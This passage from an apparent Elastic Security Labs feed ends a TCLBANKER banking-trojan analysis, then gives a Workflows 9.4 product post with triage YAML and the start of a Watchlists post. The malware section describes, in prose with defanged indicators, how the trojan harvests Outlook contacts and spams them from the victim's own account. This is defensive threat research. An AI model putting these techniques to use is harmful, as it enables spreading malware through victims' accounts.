<h3>Contact Harvesting</h3>
<p>The malware then drops a PowerShell script, <code>%TEMP%\oc&lt;guid&gt;.ps1,</code> that harvests contacts via Outlook COM from a separate process. It harvests contacts from two sources: first, it reads the default Contacts folder for all contact entries, extracting email addresses and full names from each contact item. Second, it iterates every store’s root folders to find inbox-like folders, sorts inbox messages by latest, and extracts sender email addresses and names before writing them to a <code>.txt</code> file in <code>email|name</code> format.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image25.png" alt="Outlook contact harvesting for potential spam victims" title="Outlook contact harvesting for potential spam victims" /></p>
<p>For each candidate email, additional filtering is done to maximize deliverability.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image37.png" alt="Code related to filtering potential spam victim emails" title="Code related to filtering potential spam victim emails" /></p>
<h3>Spam Functionality</h3>
<p>Similar to the WhatsApp bot, the malware retrieves the active campaign from <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code>, then sends emails through the victim's own Outlook accounts via COM automation. Each email is constructed via <code>outlookApp.CreateItem(0)</code> (<code>MailItem</code>) with the recipient in <code>To</code>, the campaign subject line, and the campaign content <code>emailMessage</code>, sent using the victim's actual account via <code>SendUsingAccount</code>.</p>
<p>Between sends, the agent applies a randomized delay and periodically checks the C2 control endpoint <code>/api/control</code> for pause or resend commands, and reports progress to <code>/api/progress</code>.</p>
<h2>Infrastructure</h2>
<p>The REF3076 actors have leveraged the <code>worker[.]dev</code> Cloudflare Serverless infrastructure for C2 and file hosting. This decision allows them to inherit any trust victims might already have in Cloudflare and to rotate infrastructure quickly as needed.</p>
<p>Pivoting on the body-hash (<code>91fafaa1240676afe5c55d931261e3798797c408</code>) of the phishing site above (<code>arquivos-omie[.]com</code>), we were able to identify additional domains that are likely being prepared for weaponization:</p>
<table>
<thead>
<tr>
<th align="left">Domain</th>
<th align="left">First Seen</th>
<th align="left">Info</th>
<th align="left">ASN (Providor)</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">arquivos-omie[.]com</td>
<td align="left">2026-04-17</td>
<td align="left">Squatting - Brazilian SaaS for SMBs</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">documentos-online[.]com</td>
<td align="left">2026-04-11</td>
<td align="left">Generic</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">afonsoferragista[.]com</td>
<td align="left">2026-04-22</td>
<td align="left">Hardware store - Likely used in a B2B lure</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">doccompartilhe[.]com</td>
<td align="left">2026-04-15</td>
<td align="left">Generic - “Shared a document”</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">recebamais[.]com</td>
<td align="left">2026-04-20</td>
<td align="left">Squatting - Brazilian credit/loan brokerage</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
</tbody>
</table>
<p>More Brazilian phishing infrastructure was discovered after a broader pivot in the banner title (<code>Portal</code> <code>Corporativo</code>), but it’s unclear whether it was directly related to REF3076 or to other actors in the Latin American banking trojan ecosystem. Notably, one cluster leveraged the Cloudflare <code>pages[.]dev</code> free static-site hosting product.</p>
<p>The C2 domain <code>mxtestacionamentos[.]com</code> previously pointed to a Brazilian-hosted IP <code>191.96.224[.]96</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image15.png" alt="Validin timeline of C2 A records" title="Validin timeline of C2 A records" /></p>
<p>Last year, this IP concurrently hosted a REF3076 C2 domain, a REF3076 phishing domain, and a domain previously <a href="https://www.trendmicro.com/en_gb/research/25/j/self-propagating-malware-spreads-via-whatsapp.html">associated with the Water Saci campaign</a> and SORVEPOTEL/MAVERICK malware by TrendMicro (<code>saogeraldoshiping[.]com</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image2.png" alt="Validin timeline of A records associated with 191.96.224[.]96" title="Validin timeline of A records associated with 191.96.224[.]96" /></p>
<h2>Conclusion</h2>
<p>TCLBANKER reflects a broader maturation happening across the Brazilian banking trojan ecosystem. Techniques that were once the hallmark of more sophisticated threat actors: environment-gated payload decryption, direct syscall generation, real-time social engineering orchestration over WebSocket, are now being packaged into commodity crimeware. The barrier to entry continues to drop, especially when powerful LLMs are readily accessible for code generation.</p>
<p>The inclusion of self-propagating worm modules marks a notable shift in this space. The campaign inherits the trust and deliverability of legitimate communications by hijacking victims' WhatsApp sessions and Outlook accounts. This is a distribution model that traditional email gateways and reputation-based defenses are ill-equipped to catch. As Latin American banking trojans continue to adopt these self-spreading mechanisms, organizations should expect the volume and reach of these campaigns to scale accordingly.</p>
<p>Developer artifacts throughout the chain, including debug logging paths, test process names, and a phishing site still under construction, suggest REF3076 is in its early operational stages. This is a campaign still being built out, not wound down.</p>
<h2>REF3076 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Spearphishing Attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/007/">System Binary Proxy Execution: Msiexec</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1622/">Debugger Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/003/">Input Capture: Web Portal Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1185/">Browser Session Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1114/001/">Email Collection: Local Email Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1529/">System Shutdown/Reboot</a></li>
</ul>
<h2>Remediating REF3076</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_ntdll_memory_protection_change_via_unsigned_dll.toml">NTDLL Memory Protection Change via Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_ntdll_library_loaded_for_a_second_time.toml">NTDLL library loaded for a second time</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_ntdll_memory_unhooking.toml">Potential NTDLL Memory Unhooking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml">Parallel NTDLL Loaded from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_core_module_change.toml">Suspicious Windows Core Module Change</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_amsi_bypass_via_setthreadcontext.toml">Potential AMSI Bypass via SetThreadContext</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_TCLBanker.yar">Windows.Trojan.TCLBanker</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">701d51b7be8b034c860bf97847bd59a87dca8481c4625328813746964995b626</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">8a174aa70a4396547045aef6c69eb0259bae1706880f4375af71085eeb537059</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">668f932433a24bbae89d60b24eee4a24808fc741f62c5a3043bb7c9152342f40</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">63beb7372098c03baab77e0dfc8e5dca5e0a7420f382708a4df79bed2d900394</td>
<td align="left">SHA-256</td>
<td align="left">XXL_21042026-181516.zip</td>
<td align="left">TCLBanker initial ZIP file</td>
</tr>
<tr>
<td align="left">campanha1-api.ef971a42[.]workers.dev</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker C2</td>
</tr>
<tr>
<td align="left">mxtestacionamentos[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker C2</td>
</tr>
<tr>
<td align="left">documents.ef971a42.workers[.]dev</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker file server</td>
</tr>
<tr>
<td align="left">arquivos-omie[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">documentos-online[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">afonsoferragista[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">doccompartilhe[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">recebamais[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/tclbanker-brazilian-banking-trojan.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Workflows GA: automation where your security data already lives]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-workflows-ga-9-4</link>
            <guid>elastic-workflows-ga-9-4</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Workflows is generally available in 9.4, bringing production-ready security automation with deeper case management integration, human-in-the-loop support, natural language authoring, and more.]]></description>
            <content:encoded><![CDATA[<p>Elastic Workflows is generally available in 9.4. It is the automation layer built directly into Elastic, running where your data lives across Security, Observability, and Search. While this post focuses on a security deep dive, the same workflow capabilities apply across solutions, with no separate platform to deploy and no data to move. When an alert fires or a schedule triggers, a Workflow executes: querying Elasticsearch, enriching with threat intel, creating cases, calling external APIs, and notifying your team. Define it in YAML or describe it in natural language and let AI generate the workflow.</p>
<p>The <a href="https://www.elastic.co/fr/security-labs/security-automation-with-elastic-workflows">9.3 Tech Preview</a> introduced the foundation for native automation in Elastic. 9.4 brings it to general availability with production stability and significantly expanded capabilities. Case management gets 25 dedicated automation steps covering the full lifecycle. Human-in-the-loop becomes a first-class Workflow primitive. Natural language authoring moves to Tech Preview. The platform gains more flow-control primitives (<code>while</code>, <code>switch</code>, iteration control), data-transformation steps for working with collections, deeper AI integration with <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a>, and broader event-driven triggers. Production-ready automation across Elastic.</p>
<h2>Case automation at scale</h2>
<p>The biggest addition for security teams is case management. In the Tech Preview, working with cases involved four generic steps: creating, retrieving, updating, and commenting. Anything beyond that required raw API calls.</p>
<p>Now there are 25 dedicated <code>cases.*</code> steps covering the full lifecycle: create, find, find similar, update, close, assign, unassign, add alerts, add observables, add comments, add tags, set severity, set status, and more. Each step is typed, validated, and appears in the YAML editor's autocomplete, which means natural-language authoring can generate them accurately, too.</p>
<p>Here's what a realistic triage workflow looks like. An alert fires. The Workflow checks whether a case already exists for this alert. If not, it creates one, attaches the alert and observables, assigns the on-call analyst, and routes severity based on risk score:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image3.png" alt="" /></p>
<p>The code below shows an example of a workflow described using YAML:</p>
<pre><code>name: Triage Workflow
enabled: true
triggers:
  - type: alert

steps:
  - name: check_existing
    type: cases.getCasesByAlertId
    with:
      alert_id: &quot;{{ event.alerts[0]._id }}&quot;

  - name: route
    type: if
    condition: &quot;steps.check_existing.output : ''&quot;
    steps:
      - name: update_existing
        type: cases.addComment
        with:
          case_id: &quot;{{ steps.check_existing.output[0].id }}&quot;
          comment: |
            Correlated alert: {{ event.rule.name }}
            Source: {{ event.alerts[0].source.ip | default: &quot;unknown&quot; }}
            Risk score: {{ event.alerts[0].kibana.alert.risk_score }}
    else:
      - name: create_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;{{ event.rule.name }} - {{ event.alerts[0].host.name }}&quot;
          description: |
            Auto-created from detection rule: {{ event.rule.name }}
            Host: {{ event.alerts[0].host.name }}
            Source IP: {{ event.alerts[0].source.ip | default: &quot;N/A&quot; }}
          severity: high
          tags:
            - auto-triage
            - &quot;{{ event.rule.name }}&quot;

      - name: attach_evidence
        type: cases.addAlerts
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          alerts:
            - alertId: &quot;{{ event.alerts[0]._id }}&quot;
              index: &quot;{{ event.alerts[0]._index }}&quot;

      - name: add_observables
        type: cases.addObservables
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          observables:
            - typeKey: observable-type-ipv4
              value: &quot;{{ event.alerts[0].source.ip }}&quot;
            - typeKey: observable-type-file-hash
              value: &quot;{{ event.alerts[0].file.hash.sha256 }}&quot;
        on-failure:
          continue: true
</code></pre>
<p>The Workflow automatically handles deduplication, evidence attachment, observable enrichment, graceful handling of missing fields, and analyst assignment. The analyst opens Kibana and sees a case with all the context already there.</p>
<p>The 25 new <code>cases.*</code> steps include create, find, find similar, update, close, delete, assign, unassign, add/remove alerts, add/remove observables, add/update/delete comments, add/remove tags, set severity, set status, get by ID, get by alert ID, and more for custom fields, user actions, and metrics. Each step is typed and validated. If you're using natural language authoring, the AI can generate them accurately because they're part of the schema.</p>
<p>As Workflows mature, you'll see more domain-specific steps for detection rule management, endpoint response actions, and threat intelligence operations.</p>
<h2>Human checkpoints in automated Workflows</h2>
<p>Case automation handles the mechanical work, but not every decision should be fully automated. AI can classify an alert and gather context, but the analyst should decide whether to escalate. The question is how much mechanical work happens before they make that call.</p>
<p><code>waitForInput</code> pauses a Workflow for human judgment. The Workflow runs the investigation, gathers evidence, classifies the alert with AI, and stops. It presents structured findings and waits. The analyst reviews, approves or redirects, and adds notes, and then the Workflow resumes based on their input.</p>
<p>As the following image shows, the automation handles the investigation, but the analyst makes the decision before the automation executes it.<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image1.png" alt="" /><br />
<em>Classifies incoming alerts with AI, pauses for analyst review and approval, and only escalates approved cases by creating a high-severity incident with context from both the model and the analyst.</em></p>
<pre><code>name: HITL Example
enabled: true
triggers:
  - type: alert

steps:
  - name: classify
    type: ai.classify
    connector-id: Anthropic-Claude-Sonnet-4-6
    with:
      includeRationale: true
      input: ${{ event.alerts[0] }}
      categories:
        - true_positive
        - false_positive
        - needs_investigation

  - name: approval_gate
    type: waitForInput
    with:
      message: |
        Alert: {{ event.rule.name }}
        Classification: {{ steps.classify.output.category }}
        Rationale: {{ steps.classify.output.rationale }}
        Review the classification and approve to escalate.
      schema:
        type: object
        properties:
          approved:
            type: boolean
            title: Approve escalation
          notes:
            type: string
            title: Analyst notes
        required:
          - approved

  - name: escalate
    type: if
    condition: &quot;steps.approval_gate.output.approved : true&quot;
    steps:
      - name: create_escalated_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;[Escalated] {{ event.rule.name }}&quot;
          description: |
            Escalated by analyst after AI classification.
            Classification: {{ steps.classify.output.category }}
            Notes: {{ steps.approval_gate.output.notes }}
          severity: high
          tags:
            - escalated
            - analyst-reviewed

</code></pre>
<p>Today, <code>waitForInput</code> works through the Kibana execution view and the REST API. Slack, Teams, and email delivery channels are coming so analysts can review and approve without switching context. This is especially important for workflows defined as tools in Agent Builder, where agent-driven investigations benefit from human checkpoints before taking action.</p>
<h2>Building Workflows from natural language</h2>
<p>With the automation patterns in place, the next challenge is making them accessible. We chose YAML as the Workflow language because it's declarative, reviewable, and portable. But it was also a strategic choice: YAML is structured text, and large language models are very good at generating structured text. A well-typed workflow schema is an ideal target for AI-powered authoring. In 9.4, that bet pays off. Natural language authoring is available in Tech Preview.</p>
<p>Inside the Workflow editor, describe what should happen: &quot;When a malware alert fires, check the file hash against VirusTotal, create a high-severity case, attach the alert and observables, and notify the SOC channel.&quot; The AI assistant generates the YAML. You review, refine, and deploy.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image2.png" alt="" /><br />
The YAML is fully inspectable and editable. If you know what should happen but aren't a YAML expert, this gets you from intent to a working workflow. If you are a YAML expert, you can start in natural language and refine in the editor.</p>
<p>The authoring experience will keep evolving. Visual editing is a complementary mode. Authoring that extends into Slack and other tools your team uses. The goal is to meet security teams wherever they work.</p>
<h2>Composable Workflows</h2>
<p>As your automation library grows, organization becomes critical. Security automation gets complex fast. You start with a single triage workflow, then realize different alert types need different investigation steps. You add conditionals, then more conditionals, and suddenly your workflow is hundreds of lines with nested logic that's hard to follow and harder to change.</p>
<p><code>workflow.execute</code> lets you build reusable workflows with typed inputs and outputs. Instead of embedding all your investigation logic in one place, you create focused workflows for specific scenarios and compose them together. Update your malware investigation workflow once, and every workflow that calls it benefits. The logic stays organized, changes stay contained, and your automation scales without becoming brittle.</p>
<p>Here's what this looks like in practice. Classify the alert, then route to the specialized workflow based on the threat type:</p>
<pre><code>steps:
  - name: dispatch
    type: switch
    expression: &quot;{{ steps.classify.output.category }}&quot;
    cases:
      - match: malware
        steps:
          - name: run_malware
            type: workflow.execute
            with:
              workflow-id: ${{ consts.malware_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
      - match: phishing
        steps:
          - name: run_phishing
            type: workflow.execute
            with:
              workflow-id: ${{ consts.phishing_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
    default:
      - name: run_generic
        type: workflow.execute
        with:
          workflow-id: ${{ consts.generic_triage_id }}
          inputs:
            alert: ${{ event.alerts[0] }}
</code></pre>
<p>Each workflow is independently testable. Most teams start with a single workflow and extract sub-workflows as patterns emerge. Composition is something you grow into.</p>
<p>The template library will eventually move into the product so you can discover and install pre-built workflows directly in Kibana.</p>
<h2>Where analysts already work</h2>
<p>Workflows are most useful when they're available where decisions get made. The primitives and patterns are in place, but automation only delivers value if analysts can reach it without switching tools. We're investing in making Workflows accessible throughout the security analyst experience, starting with the alerts table and Attack Discovery. Analysts can send alerts or entire attacks directly to a Workflow, triggering the investigation logic they've built without leaving their current context. This integration will continue expanding so that Workflow automation becomes a seamless part of the analyst's daily work, not a separate destination.</p>
<p>&quot;Run workflow&quot; in the alerts table lets you right-click an alert (or select multiple) and trigger a Workflow directly. The alert context passes automatically.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image5.png" alt="" /></p>
<p>This is the beginning. Workflows will continue expanding into more parts of the security experience, making automation accessible where analysts need it.</p>
<h2>More control, more flexibility</h2>
<p>Beyond the major features, the Workflow language itself has become more capable. New flow control primitives give you cleaner ways to handle complex logic. <code>while</code> loops let you poll for conditions or wait for external state changes. <code>switch</code> provides multi-way branching so you can route alerts by category without nested conditionals. <code>loop.break</code> and <code>loop.continue</code> give you standard iteration control.</p>
<p>Step-level data transformation steps handle filtering, finding, aggregating, and JSON operations on collections, so you can process alert lists, IOC lookups, and enrichment responses without custom scripting.</p>
<p>The AI steps (<code>ai.prompt</code>, <code>ai.classify</code>, <code>ai.summarize</code>, <code>ai.agent</code>) are more stable and now support structured outputs, making it easier to use AI-generated classifications and summaries in downstream workflow logic.</p>
<p>LiquidJS templating expanded too. You can now set variables and access them throughout the workflow, making it easier to reference computed values across multiple steps.</p>
<h2>Reliability and production controls</h2>
<p>All of this is useful only if it's reliable. Every step supports <code>on-failure</code> configuration: retry for transient failures, continue when a step isn't critical, and abort when downstream steps depend on the result. Error details are available at <code>steps.&lt;step-id&gt;.error</code> to help route around failures.</p>
<p>Concurrency controls prevent alert storms from spawning hundreds of parallel executions. Loop guardrails prevent runaway execution. Composition depth limits prevent infinite recursion.</p>
<p>Elastic 9.4 introduces event-driven triggers, starting with <code>workflows.failed</code>. When a workflow execution fails, it can trigger a separate handler workflow. Build a notification workflow that alerts your team when automation goes down. More trigger types are coming: case status changes, alert state transitions, and detection rule updates, making Workflows reactive to what's happening across your security environment.</p>
<p>Every execution is recorded in execution history with step-by-step results, including analyst decisions from <code>waitForInput</code> steps. This is your debugging tool and your audit trail.</p>
<p>Workflows is enabled by default in 9.4 with an Enterprise license. Granular RBAC controls who creates, edits, executes, and views workflows. Every management operation writes to the security audit log. Import/export moves Workflows between environments with connector references intact.</p>
<h2>Licensing and pricing</h2>
<p>Workflows is available with an Enterprise license on Elastic Cloud Hosted and self-managed deployments, and with the Complete tier on Elastic Cloud Serverless for Security projects.</p>
<p>Version 9.4 introduces a unified execution-based pricing model across all deployment types.</p>
<p>Across Serverless, Elastic Cloud Hosted, and self-managed, pricing is based on workflow executions, with volume-based discounts at scale. <strong>Each month includes a baseline allocation of workflow executions that are not billed</strong>. Usage beyond this allocation is billed per execution, with volume-based discounts applied as usage increases.</p>
<p><strong>Elastic Cloud Serverless</strong> begins applying this model on May 1, 2026. Usage beyond the monthly non-billed executions is charged per execution, with discounts at higher volumes. <a href="https://www.elastic.co/fr/pricing/serverless-security">See full pricing details</a>.</p>
<p><strong>Elastic Cloud Hosted and self-managed</strong> deployments follow the same pricing model, <strong>but are currently in a promotional period</strong> with execution charges not yet applied. This allows teams to build and run Workflows, establish usage patterns, and prepare for the transition to execution-based billing in a future release.</p>
<p>Start building now. The Workflows you create today will continue to run as pricing transitions to the unified model.</p>
<h2>Getting started</h2>
<p>Workflows are enabled by default in 9.4. Open Kibana, navigate to Workflows, and start building.</p>
<p>If you're new to Workflows, the <a href="https://www.elastic.co/fr/security-labs/security-automation-with-elastic-workflows">Tech Preview post</a> walks through building your first triage Workflow. The <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Chrysalis APT workflow</a> shows Agent Builder integration in action. The <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">documentation</a> has the complete step type reference. The <a href="https://github.com/elastic/workflows">Elastic Workflow Library</a> has ready-to-use templates.</p>
<p>Start with the Workflow that would save your team the most time this week. If you can describe it, you can build it.</p>
<hr />
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/elastic-workflows-ga-9-4.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Know who to watch before the incident finds you]]></title>
            <link>https://www.elastic.co/fr/security-labs/entity-analytics-watchlists</link>
            <guid>entity-analytics-watchlists</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security v9.4 introduces Entity Analytics Watchlists, a way to codify what your team already knows about high-risk entities and feed that context directly into risk scoring, without custom pipelines or detection engineering overhead]]></description>
            <content:encoded><![CDATA[<p>Elastic Security v9.4 introduces Entity Analytics Watchlists, a new capability in the Entity Analytics suite that lets security teams create named, weighted lists of users, hosts, and services and feed that context directly into the platform's risk scoring pipeline. The gap this closes isn't awareness, as most security teams already know which entities deserve elevated scrutiny. The gap is that SIEMs have had no way to express that organizational knowledge as a risk signal. Watchlists do that without ES|QL, without pipeline configuration, and without a ticket to the detection engineering team.</p>
<h2>Your riskiest entities are already known; your SIEM just doesn't know that</h2>
<p>Security teams aren't starting from a blank slate. You already know certain people, hosts, and services deserve elevated scrutiny: the privileged admin whose access was never revoked after a role change, the engineer on a performance improvement plan, the acquired company's infrastructure not yet fully onboarded, the contractors brought in for a sensitive new business initiative.</p>
<p>The gap has never been awareness. The gap is that your security information and event management (SIEM) has no way to express that organizational knowledge as a first-class risk signal. Behavioral detection fires on anomalies. Threat intel fires on known bad indicators. But neither captures the <strong>context your security and HR teams carry in their heads,</strong> and that context is exactly what insider threat programs are built on.</p>
<table>
<thead>
<tr>
<th align="left">83% of organizations experienced at least one insider attack in the past year</th>
<th align="left">$17.4M average annual cost of insider threat incidents in 2025</th>
<th align="left">246 days average time to identify and contain a credentials-based breach</th>
</tr>
</thead>
</table>
<p>Mature user and entity behavior analytics (UEBA) platforms allow some form of static lists or risk multipliers, but they're often rigid, buried in configuration, and disconnected from the analyst workflow. Security teams deserve something better: a purpose-built, first-class feature that lets them codify what they already know about their environment and to have that knowledge dynamically influence every risk calculation in the platform.</p>
<h2>Introducing Entity Analytics Watchlists</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/image2.png" alt="Watchlists panel" title="Dashboard titled “Entity analytics” with the Watchlists tab selected, showing a table of three watchlists (Privileged Users, Departing Employees, and Employee Extended Leave) with columns for number of entities, risk score weighting, source, last updated, and action icons. The page also includes controls for turning the feature on or off, clearing entity data, and creating a watchlist." /></p>
<p>Watchlists are a new capability in Elastic Security's Entity analytics suite, arriving in the v9.4 release. They let security teams create named, described, rule-driven, or manually curated lists of users, hosts, services, or other entities and to attach configurable risk score weightings to every entity on each list.</p>
<blockquote>
<p>Think of Entity Analytics Watchlists as the bridge between your organization's institutional knowledge and your security information and event management’s (SIEM's) risk engine. You already know who deserves a second look. Now your platform knows too.</p>
</blockquote>
<p>The term watchlist is a familiar concept in the industry, but Entity Analytics Watchlists go further. This isn't just a way to bookmark entities; it's a structured mechanism for injecting <strong>custom correlation factors</strong> directly into the risk scoring pipeline. Every entity that appears on a watchlist carries its membership as a weighted signal, compounded with alert activity, asset criticality, and behavioral anomalies to produce a single, prioritized risk score.</p>
<p>Take a concrete example: John Doe is a departing employee. He’s added to a &quot;Departing Employees&quot; Watchlist configured with an elevated risk weighting. He also owns a server on the &quot;Critical Infrastructure&quot; Watchlist. When John triggers an alert, for example, an unusual volume of file downloads, his risk score now compounds all three signals: the alert, the asset criticality, and both list memberships. The platform surfaces him far higher in the risk queue than it would for the same alert on an average employee. The analyst sees exactly why.</p>
